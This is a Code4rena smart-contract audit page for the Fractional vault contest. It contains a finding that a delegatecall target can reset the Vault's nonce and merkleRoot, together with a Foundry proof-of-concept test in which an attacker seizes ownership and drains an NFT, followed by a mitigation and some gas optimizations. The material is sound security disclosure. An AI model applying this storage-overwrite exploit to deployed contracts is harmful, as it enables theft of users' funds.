Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 116/141
Findings: 2
Award: $42.59
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: byterocket
Also found by: 0x1f8b, 242, ACai, BradMoon, Chom, Lambda, PwnedNoMore, Twpony, __141345__, ayeslick, berndartmueller, cccz, giovannidisiena, infosec_us_team, minhtrng, nine9, oyc_109, reassor, slywaters, sseefried, tofunmi, unforgiven
4.9607 USDC - $4.96
https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L131 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L24-#L29
In the _execute
function of the Vault contract, it is possible for a malicious target contract to modify storage slots 1 & 2 via DelegateCall.
nonce
which acts as an initializer value and is validated against within the init
function–changing this value back to 0 allows the vault to be re-initialized in a separate call, setting the attacker as the new vault owner. This allows the attacker to call restricted functions, potentially leading to loss of user assets/funds.merkleRoot
to which modification results in an attacker being able to set an arbitrary root hash of vault permissions.Run with forge test -m testExecuteExploit -vv
diff --git a/test/Vault.t.sol.orig b/test/Vault.t.sol index d37bf58..2394646 100644 --- a/test/Vault.t.sol.orig +++ b/test/Vault.t.sol @@ -214,15 +214,100 @@ contract VaultTest is TestUtil { ); vaultProxy.execute(address(targetContract), data, proof); } + + function testExecuteExploitResetNonceAndTakeOwnership() public { + vaultProxy.init(); + + alice.erc721.safeTransferFrom(alice.addr, address(vaultProxy), 1); + emit log_named_uint("Attacker balance before execute: ", IERC721(erc721).balanceOf(address(0x1337))); + emit log_named_uint("Vault proxy balance before execute: ", IERC721(erc721).balanceOf(address(vaultProxy))); + assertEq(IERC721(erc721).balanceOf(address(vaultProxy)), 1); + assertEq(IERC721(erc721).balanceOf(alice.addr), 0); + + TargetContract targetContract = new TargetContract(); + bytes32[] memory proof = new bytes32[](1); + proof[0] = keccak256( + abi.encode( + address(0x1337), + address(targetContract), + TargetContract.resetNonce.selector + ) + ); + vaultProxy.setMerkleRoot(proof[0]); + bytes memory data = abi.encodeCall( + targetContract.resetNonce, + () + ); + emit log_named_uint("Vault proxy nonce before execute: ", vaultProxy.nonce()); + vaultProxy.execute(address(targetContract), data, proof); + emit log_named_uint("Vault proxy nonce after execute: ", vaultProxy.nonce()); + emit log_named_address("Original vault proxy owner: ", vaultProxy.owner()); + vm.prank(address(0x1337)); + vaultProxy.init(); + emit log_named_address("New vault proxy owner: ", vaultProxy.owner()); + assertEq(vaultProxy.owner(), address(0x1337)); + + data = abi.encodeCall( + transferTarget.ERC721TransferFrom, + (address(erc721), vault, address(0x1337), 1) + ); + vm.prank(address(0x1337)); + vaultProxy.execute(address(transferTarget), data, erc721TransferProof); + + + emit log_named_uint("Attacker balance after: ", IERC721(erc721).balanceOf(address(0x1337))); + emit log_named_uint("Vault proxy balance after: ", IERC721(erc721).balanceOf(address(vaultProxy))); + assertEq(IERC721(erc721).balanceOf(address(vaultProxy)), 0); + assertEq(IERC721(erc721).balanceOf(address(0x1337)), 1); + } + + function testExecuteExploitChangeMerkleRoot() public { + vaultProxy.init(); + TargetContract targetContract = new TargetContract(); + bytes32[] memory proof = new bytes32[](2); + proof[0] = keccak256( + abi.encode( + address(0x1337), + address(targetContract), + TargetContract.changeMerkleRoot.selector + ) + ); + proof[1] = keccak256( + abi.encode( + address(0x1337), + address(vaultProxy), + Vault.transferOwnership.selector + ) + ); + vaultProxy.setMerkleRoot(proof[0]); + bytes memory data = abi.encodeCall( + targetContract.changeMerkleRoot, + (proof[1]) + ); + emit log_named_bytes32("Merkle root before execute: ", vaultProxy.merkleRoot()); + vaultProxy.execute(address(targetContract), data, proof); + emit log_named_bytes32("Merkle root after execute: ", vaultProxy.merkleRoot()); + assertEq(vaultProxy.merkleRoot(), proof[1]); + } } contract TargetContract { address public owner; + bytes32 public merkleRoot; + uint256 public nonce; function changeOwner(address _owner) public { owner = _owner; } + function changeMerkleRoot(bytes32 _merkleRoot) public { + merkleRoot = _merkleRoot; + } + + function resetNonce() public { + nonce = 0; + } + function transferOwnership() external { Vault(payable(address(this))).transferOwnership(address(1)); }
Foundry
As with requiring that the owner has not changed following DelegateCall to the target contract within _execute
, it is recommended to similarly validate both nonce
and merkleRoot
:
... // Save the owner address, nonce and merkleRoot in memory to ensure that they cannot be modified during the DELEGATECALL address owner_ = owner; uint256 nonce_ = nonce; bytes32 merkleRoot_ = merkleRoot; // Reserve some gas to ensure that the function has enough to finish the execution uint256 stipend = gasleft() - MIN_GAS_RESERVE; // Delegate call to the target contract (success, response) = _target.delegatecall{gas: stipend}(_data); if (owner_ != owner) revert OwnerChanged(owner_, owner); if(nonce_ != nonce) revert NonceChanges(nonce_, nonce); if(merkleRoot_ != merkleRoot) revert MerkleRootChanges(merkleRoot_, merkleRoot); ...
#0 - ecmendenhall
2022-07-15T03:40:50Z
#1 - HardlyDifficult
2022-07-26T23:58:04Z
Duping to #487
🌟 Selected for report: joestakey
Also found by: 0x1f8b, 0x29A, 0xA5DF, 0xKitsune, 0xNazgul, 0xNineDec, 0xalpharush, 0xkatana, 0xsanson, 0xsolstars, 8olidity, Avci, Bnke0x0, BowTiedWardens, Chom, Deivitto, ElKu, Fitraldys, Funen, IllIllI, JC, Kaiziron, Lambda, Limbooo, MEP, NoamYakov, PwnedNoMore, RedOneN, ReyAdmirado, Rohan16, Ruhum, Saintcode_, Sm4rty, TomJ, Tomio, TrungOre, Tutturu, Waze, _Adam, __141345__, ajtra, apostle0x01, asutorufos, benbaessler, brgltd, c3phas, codexploder, cryptphi, delfin454000, dharma09, djxploit, durianSausage, fatherOfBlocks, giovannidisiena, gogo, horsefacts, hrishibhat, hyh, ignacio, jocxyen, jonatascm, karanctf, kebabsec, kyteg, m_Rassska, mektigboy, oyc_109, pedr02b2, rbserver, robee, rokinot, sach1r0, sashik_eth, simon135, slywaters
37.6301 USDC - $37.63
Since nonce
is used only as an initializer value, it does not need to occupy a full storage slot. By modifying the declaration to be above merkleRoot
and using uint96
nonce will pack with the owner
address, reducing the number of SLOADs/SSTOREs.
contract Vault is IVault, NFTReceiver { /// @notice Address of vault owner address public owner; /// @notice Initializer value uint96 public nonce; /// @notice Merkle root hash of vault permissions bytes32 public merkleRoot; ...
As is done in solmate, it is recommended to only re-compute the domain separator if the chain id has changed. This can be achieved by updating the VaultRegistry.sol
constructor:
constructor() { factory = address(new VaultFactory()); fNFTImplementation = address(new FERC1155()); fNFT = fNFTImplementation.clone( abi.encodePacked(msg.sender, address(this), block.chainid) ); fNFT.init(); }
such that in FERC1155.sol
an initializer is added to set a new state variable INITIAL_DOMAIN_SEPARATOR() = _computeDomainSeparator();
and:
function INITIAL_CHAIN_ID() public pure returns (uint256) { _getArgUint256(40); } function DOMAIN_SEPARATOR() public view returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID() ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); }
replacing all instances of _computeDomainSeparator()
with DOMAIN_SEPARATOR()
.